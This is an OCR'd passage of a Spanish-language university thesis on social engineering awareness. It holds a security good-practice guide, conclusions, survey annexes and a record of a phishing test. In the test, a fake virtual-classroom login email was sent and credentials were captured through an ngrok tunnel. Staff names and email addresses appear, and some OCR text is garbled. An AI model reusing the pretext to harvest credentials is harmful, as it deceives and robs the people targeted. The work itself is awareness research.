basados en firmas, IDS basados en anomalias, IDS pasivo e identificacion reactiva
[58].

Aplicaciones para ver redes WIFI seguras: Estas aplicaciones permiten realizar
un escaneo de la red a donde se quiere conectar, y verificar que todo esté en orden
[59]. A continuacion, se enlistan herramientas de este tipo: NetSpot, WIFI
Analyzer, Wiffinity, WeFlI, entre otras [59].

Herramientas para detectar memorias USB, pendrives o discos externos
falsos: Para comprobar que los dispositivos que ingresen al equipo estan libres de
virus o malware, existen diversos programas que permiten escanear este tipo de

problemas, los cuales son: check flash, chip genius, H2testw, entre otros [60].
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Autenticacion y no repudio
- VirusTotal

Es uno de los sitios mas conocidos y completos, cuenta con una base de datos actualizada,
permitiendo saber si un dominio o pagina web contiene virus y es una amenaza. Asi se

visualiza el sitio web:

Inteligence  Hunfing  Graph  API 8 [ [ sign up ]

> ] VIRUSTOTAL

FILE URL SEARCH

sharing of your Sample
i not respansibie far

Figura 53. Pagina VirusTotal

Se puede escoger entre las opciones: Archivo, URL y buscar. Permite analizar un sitio
web en concreto o archivos que se encuentren alojados en el computador. En este caso,
se procede a escoger la segunda opcion “URL”, y pegar el enlace de la pagina que se

quiere verificar.

FILE URL SEARCH

https://www.google.com.ec/ Q

Figura 54. Enlace de verificacion
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La pagina procede a realizar el andlisis del sitio. A continuacion, se visualiza que la pagina

en cuestion, no tiene amenazas ni virus de por medio.

DETECTION ~ DETALS  LiNks  communiTy (@)

Security Vendors' Analysis

Figura 55. Resultados de la pagina VirusTotal

- Google Navegacion Segura

Google posee una enorme variedad de servicios en internet, y uno de ellos es la opcion
de Google Navegacion Segura o Safe Browsing. Este sitio bloquea el acceso a una pagina

web que pueda contener algun tipo de virus o malware.

Ademas, permite analizar una URL sin necesidad de ingresar a ella. El sitio web es el
siguiente:

= Google Informe de transparencia

nformacisn general  Estado del sitio

Estado del sitio de Navegacion segura

Comprobar el estado del sitio

Trabajamos para obtener una Web mas segura

Figura 56. Pagina Google Navegacién Segura
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Escribimos la URL que se quiere analizar y el sitio web presentard el estado actual del
mismao.

Comprobar el estado del sitio

hitpsziecutstcit.com Q

@ No se encontrd contenido no seguro

Figura 57. URL en Google Navegacion Segura
- Securi SiteCheck

Es una herramienta gratuita que permite verificar si una péagina tiene malware. Lo que
hace es comprobar que sea un sitio seguro, comprobando si se encuentra o no, en una lista
negra. Es capaz de escanear diversas paginas dentro de un dominio. El sitio web es el

siguiente:

Free website security check & malware scanner

Enter a URL lik

Figura 58. Pagina Securi SiteCheck

Se debe ingresar la URL para que el sitio web la escanee, y posteriormente se conocen

los resultados del mismo.

Q No Malware Found O Site is not Blacklisted
r In't c 1 an: ] 1, ¥

b

= 140

¥ URLs Scanned

Figura 59. Resultados de la pagina Securi SiteCheck
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CONCLUSIONES

v Se investigo acerca de los diferentes tipos de métodos empleados en ingenieria
social, escogiendo los vectores de ataque: Website attack Vectors, Infectious
media Generator, QRCode Generator attack vector, Shoulder surfing y Vishing.

v Serecopil6 informacion a través de una encuesta al personal docente y estudiantes
de la institucion de educacion superior, en base a los conocimientos que poseen
con respecto al uso seguro de los sistemas informéticos, permitiendo establecer

de manera correcta los requerimientos del proyecto

v' Se emplearon los vectores de ataques computacionales y no computacionales
nombrados anteriormente, identificando las vulnerabilidades a las que estan

expuestas los usuarios por la falta de conocimiento en seguridad informatica

v" El disefio de los ciberataques, se realizaron en el sistema operativo Kali Linux, en
conjunto con la herramienta Social Engineering Toolkit, tomando en

consideracién los requerimientos del proyecto.

v Se elaboré un informe final con los resultados obtenidos de los ataques realizados
en la institucion de educacion superior, evidenciando el tipo de vector de ataque,
horas ejecutadas, cantidad de victimas, resultados y observaciones, teniendo en

cuenta las consecuencias que produjo cada uno.

v Se realiz6 una guia de buenas préacticas de seguridad de la informacion, clasificada
segun las caracteristicas de la seguridad de esta (Disponibilidad, confidencialidad,
integridad, autenticacion), teniendo como objetivo, concientizar a las personas y
presentar diversas recomendaciones que se puedan ejecutar, para mitigar riesgos
de un futuro ataques.

v/ Un gran porcentaje de las personas que participaron en este trabajo investigativo,
no sospecharon, que los enlaces y codigos Qr enviados eran con mal

intencionados, para que entreguen sus credenciales de inicio de sesion.
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RECOMENDACIONES

v En caso de querer realizar otros ataques de ingenieria social, es importante contar
con el permiso de los individuos, ya que, el robo de la informacién es un delito

cibernético.

v Se recomienda realizar periédicamente pruebas de ataques de ingenieria social,
para conocer la situacion actual del personal docente y estudiantes, verificando

las mejoras que han tenido respecto al conocimiento de seguridad informatica.

v’ Para realizar los ciberataques de ingenieria social, es recomendable utilizar el
software Kali Linux en una maquina virtual, debido que, es un instrumento facil

de usar y contiene las herramientas necesarias para el disefio de los ataques.

v' Se recomienda leer la guia de buenas practicas, ya que, cuenta con
recomendaciones que ayudan a mitigar riesgos de ciberataques y refuerzan la
seguridad informatica, asi mismo, posee practicas de seguridad para teléfonos
moviles y péginas que permiten verificar si el sitio web es confiable o contiene

algin malware.
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Anexo 1. Crecimiento de ataques por malware
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Figura 60. Evolucion de ataques por malware desde el 2009 a 2016. Fuente: ESET.
(2017)

Anexo 2. Total, de la encuesta
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Figura 61. Total, general del resultado de la encuesta de seguridad informatica:
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Anexo 3. Numero de usuarios afectados por ransoware

3158

Figura 62. Numero de usuarios de Kaspersky afectados por ransoware en el afio
2019-2020: Kaspersky

Anexo 4. Ataques durante la pandemia 2020
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Figura 63. Ataques durante la pandemia 2020 Fuente: CheckPoint (2020), “Cyber
attack trends: 2020 mid-year report”, Check Point Software Technologies Ltd., Tel
Aviv, Israel, Julio [en linea] https://research.checkpoint.com/2020/cyber-attack-
trends-2020-mid-year-report/.



Anexo 5. Denuncia de delitos informaticos en Ecuador

MNumero de denuncias sobre delitos informaéticos en ecuador

Tipos de delitos n4* 10015 2006 2017 MR Iol%  2020%*  Total
Suplantacion de identidad 1355 3920 4152 3676 4180 4607 262 24052
Falsificacion v uso de documento falso 1048 25%4 3117 3183 3242 3231 1448 17913
Apropiacion fraudulenta por medios elecironicos U7 12E0 145 il 1451 1746 1033 mik2
Agceso no consentide a un sistema mformatice,
. 54 141 145 218 136 244 175 1215
telematico o de telecomunicaciones
Contacto con finalidad sexual con menores de
. 2] i 10k 159 202 1 b #21
dieciocho afies por medios electronicos
Ataque a la integridad de sistemas informaticos 4 7 Th Hiy 57 113 51 534
Interceptacion ilegal de datos £t 55 #1 L) 41 87 45 411
Transferencia electronica de activo patrimomnial 17 54 47 54 kL 4 31 295
Revelacion ilegal de base de datos 2% 24 24 1 4 34 13 195
Total JI1%  R230 BTG R421 9571 02T S8 3M63

Figura 64. Denuncia de delitos informaticos en Ecuador



Anexo 6. Encuesta dirigida al personal docente y entudiantes de la
Unidad Superior Educativa- Facultad de Educacion e idiomas

Universidad Estatal Peninsula de Santa Elena

Facultad de Sistemas y Telecomunicaciones

Carrera de Tecnologia de la Informacion.

Encuesta dirigida al personal docente y estudiantes de la Facultad de Educacion e idiomas

Objetivo: Determinar el nivel de conocimiento que tienen los estudiantes y profesores acerca del

uso seguro de los sistemas informaticos.

l. USO DE SISTEMAS INFORMATICOS

1. | ¢Qué nivel de conocimientos considera que tiene sobre el uso de internet y sistemas
informaticos?

Alto__

Medio

Bajo__

2. | ¢Con qué fin utiliza las redes sociales?
Entretenimiento__

Educativo__

Informativo__

Trabajo_

Otro__

3. | ¢Qué nivel de conocimiento tiene respecto a las amenazas y los riesgos informaticos que
estan presentes en las redes sociales?

Alto__

Medio

Bajo__

4. | ¢Utiliza contrasefias diferentes para sus cuentas electrénicas como redes sociales, email,
aula virtual?

Si_

No

1. CONOCIMIENTOS DE CIBERATAQUES




¢, Cual de estos ciberataques conoce, y que los podria explicar a otras personas?

Ransomware

Phishing__

Ataques por denegacion de servicios (DDoS)
Troyanos__

Ninguno

¢ Qué tipo de fraudes electronicos le genera mayor temor?
Que me roben dinero de mis cuentas bancarias__
Suplantacion de identidad

Que secuestren mi WhatsApp__

Estafas de vendedores en sitios web ilegitimos__

¢ Con que frecuencia recibe mensajes de texto que da aviso que alguien ha ingresado a
una de sus cuentas electrénicas como Facebook, Instagram, email? 1 vez al
mes__

1 vez cada 3 meses___

lvezalafio

Nunca__

¢Alguna vez han vulnerado la seguridad de sus cuentas electrénicas?
Si__
No

1. USO SEGURO DE REDES SOCIALES

¢ Qué nivel de conocimiento tiene sobre las seguridades que se aplican en sus cuentas
electronicas?

Alto__

Medio_

Bajo

10.

¢ Cual de estos métodos le genera mayor seguridad con sus dispositivos y cuentas
electronicas?

Tener instalado un antivirus___

Desconfiar de todo lo que llega al teléfono_

Tener una proteccion integral de mi presencia digital

Con no abrir emails raros es suficiente

No hace falta nada, mis dispositivos son seguros




11.

¢Considera importante conocer a las personas que tiene agregadas en sus redes
sociales?

Muy importante_

Importante__

Poco importante__

No es importante__

12.

¢ Considera que su seguridad informatica esta mas amenazada ahora?
Ahora hay los mismos riesgos de antes__

Los riesgos han aumentado un poco pero no me afectan__

Me siento més vulnerable ante riesgos informaticos

Me siento muy seguro antes y ahora__

13.

En su opinion, ¢ Qué tan segura es la red de la Universidad?
Muy segura__

Segura

Insegura__

Muy insegura___

14.

¢ Qué nivel de seguridad cree usted que tiene la red WIFI de su institucion educativa?
Alto__

Medio_

Bajo__

15.

¢ Conoce de algun ciberataque dirigido a su entidad educativa?
Si__
No

16.

¢Desea participar en este trabajo investigativo como informante del nivel de seguridad
gue posee en sus dispositivos y cuentas electrénicas?

Si__

No

17.

Si su respuesta anterior fue SI, complete la siguiente informacion:

Correo Personal:
Correo institucional:

Numero movil:

Responsable: Pefafiel Suarez Marcelo Rodrigo

Vi




Anexo 7. Ataque 1: Phishing por clonacion de pagina

Prueba 1 Proyecto: Nueva forma de ingreso al aula virtual

@ MARCELO PEQAFIEL N
Para 1/07/2022 16:2C
e

des, espero se encuentre bien, me encuentr

rdes, espero
ingresar al aula virtual, ya que es un proyecto que deb
PASOS A SEGUIR

itio (ya que se encuentra albergado en un servidor de prueba).
s denciales de inicio de sesién

Figura 65. Envio de ataque por correo

Figura 66. Datos de victima del ataque

1 minute ago Duration 20.17ms L IP¢

POST /index.html

Summary Headers Raw Binary Replay ~

POST /index.html HTTP/1.1

Host: 640a-45-187-2-53.sa.ngrok.io

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36

____________ L. ~An

Figura 67. Datos de victima del ataque

Figura 68. Datos de victima del ataque
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2 minutes ago Duration 11.59ms § 3

POST /index.html

Summary Headers Raw Binary Replay ~

POST /index.html HTTP/1.1
Host: 640a-45-187-2-53.sa.ngrok.io
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-G576M) App

Figura 69. Datos de victima del ataque

Figura 70. Datos de victima del ataque

» Area personal

cha
KaliLinux § KaliTools « KaliDocs X KaliForums X Kali NetHunter xploit-DB Google Hacking DB OffSec
- ) AMBIENTE VIRTUAL
= @ DE APRENDIZAJE ® I
® =
n \MBIENTE VIRTUAL DE APRENDIZAJE: Ared Persor ¢ s e
Q perfil
< Calificaciones

O Mensajes

o

&* Ppreferencias

Cursos a los que se ha accedido recientemente

: Y (O

Figura 71. Datos de victima del ataque

« cerrar sesion

2 0w 1) B4R il 6 3 crre oerecia

2 minutes ago Duration 9.05ms 21

POST /index.html

Summary Headers Raw Binary Replay ~

POST /index.html HTTP/1.1
Host: 640a-45-187-2-53.sa.ngrok.io
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SAMSUNG SM-G576M) App

R I I Y s e T R Vi Paclld) P i aNaclicaa vl A Ah oo iAn A

Figura 72. Datos de victima del ataque
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4 minutes ago Duration 27.3ms LA T

GET/

Summary Headers Raw Binary Replay ~

GET / HTTP/1.1

Host: 640a-45-187-2-53.sa.ngrok.io

User-Agent: Mozilla/5.0 (Linux; Android 12; SM-A315G) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36

Figura 73. Datos de victima del ataque

20 minutes ago Duration 19.62ms L2 P 2 2

GET/

Summary Headers Raw Binary Replay

GET / HTTP/1.1
Host: 640a-45-187-2-53.sa.ngrok.io
User-Agent: Mozilla/5.0 (Linux; Android 11; 2201117T7G) AppleWebKit/5

Figura 74. Datos de victima del ataque



Anexo 8. Ataque Shoulder Surfing

Figura 76. Ataque de Shoulder surfing



Figura 78. Atague de Shoulder surfing
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Figura 80. Ataque de Shoulder surfing
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Anexo 9. Permiso de la institucién

S

Facultad de Ciencias de la Educacion e Idiomas

Oficio No. UPSE-FCEI-2022-156
La Libertad, 5 de julio del 2022

Sefior

Ing. Jaime Orozco Iguasnia, Mgt.

DIRECTOR DE LA CARRERA DE TECNOLOGIAS DE LA INFORMACION
Presente. -

Estimado Director:

" En atencién a Oficio No. UPSE-CTI-246-2022-OF, para aplicacion de encuesta, expongo
ante usted la respectiva autorizacion; sin embargo, considero coordinar la actividad con las
direcciones de Carreras que componen la Facultad de Ciencias de la Educacion e Idiomas,
para el efecto adjunto los respectivos correos.

LT e o
I s,

DIRECCION DE CARRERA DE EDUCACION INICIAL

carrera_educacion inicial@upse.edu.ec y

Directora Educacion Inicial: Uribe Veintimilla Ana Maria auribe@upse.edu.ec
Asistente: Fabian Benavides fbenavides@upse.edu.ec

. DIRECCION DE CARRERA DE PEDAGOGIA DE LOS IDIOMAS NACIONALES Y
EXTRANJEROS
pine@upse.edu.ec
Directora de Carrera de PINE: Gonzalez Reyes Sara Dolores sqonzalezr@upse.edu.ec
Ruth Reyes Sorianorreyess@upse.edu.ec

DIRECCION DE CARRERA DE EDUCACION BASICA

carrera_educacion basica@upse.edu.ec

Director de Carrera de Educacion Basica: Puya Lino Anibal Javier apuya@upse.edu.ec
#y De La Cruz Tigrero, Maria Del Pilar mdelacruzt@upse.edu.ec

Particular que comunico a usted, para los fines pertinentes.

/—\ .
Atentamente, g PENWS(Q\'% ‘
. &v. N

o
&  FAcULTAD. ‘1\\
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o
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C.c.: DIRECCION DE CARRERA DE EDUCACION BASICA
DIRECCION DE CARRERA DE EDUCACION INICIAL J/‘
DIRECCION DE CARRERA DE PINE
Archivo
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Direccion: Campus matriz, La Libertad - prov. Santa Elena - Ecuador
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